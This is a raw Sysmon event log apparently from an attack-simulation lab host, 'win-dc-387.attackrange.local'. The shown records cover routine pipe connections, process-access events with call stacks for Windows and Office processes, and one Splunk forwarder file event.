18141800x800000000000000041403Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041402Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041401Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041400Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041399Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041398Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041397Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041396Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.440{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F39-613B-A408-00000000F001}5668C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041395Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.440{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F39-613B-A408-00000000F001}5668C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000041394Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.409{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D7EEF1A16EDEF4773B9AD5C40E9F9B78,SHA256=D4E65D2ADFA86EB7B342293FC72A1BE60190D31B0A9001C5AEDB20A2A9C6CC5C,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000041393Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.377{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F39-613B-A308-00000000F001}6284C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000041392Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.377{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041391Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.377{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041390Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.377{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041389Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.362{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F39-613B-A308-00000000F001}6284C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041388Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.362{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F39-613B-A308-00000000F001}6284C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 18141800x800000000000000041387Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.315{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041386Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.299{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F39-613B-A208-00000000F001}3740C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041385Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.284{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F39-613B-A208-00000000F001}3740C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041384Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.284{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F39-613B-A208-00000000F001}3740C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 18141800x800000000000000041383Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.270{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041382Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.252{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041381Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.237{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F39-613B-A108-00000000F001}5464C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041380Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.221{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F39-613B-A108-00000000F001}5464C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041379Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.221{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F39-613B-A108-00000000F001}5464C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 18141800x800000000000000041378Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.190{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041377Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.190{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041376Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.190{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041375Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.190{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041374Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.190{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041373Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.190{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041372Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.190{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041371Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.190{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041370Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.190{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041369Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.174{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041368Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.174{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041367Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.143{7BD73061-6F39-613B-A008-00000000F001}67724512C:\Windows\system32\conhost.exe{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041366Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.143{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F39-613B-A008-00000000F001}6772C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041365Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.143{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F39-613B-9E08-00000000F001}6184C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041364Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.143{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041363Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.143{7BD73061-6E00-613B-E006-00000000F001}59921372C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+546a1|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+544db|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+54149|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+5669a|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+56528|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+258dca|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+452a62|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+620c4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d4ccf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+2394a2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+174aca|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041362Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.127{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F39-613B-9E08-00000000F001}6184C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041361Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 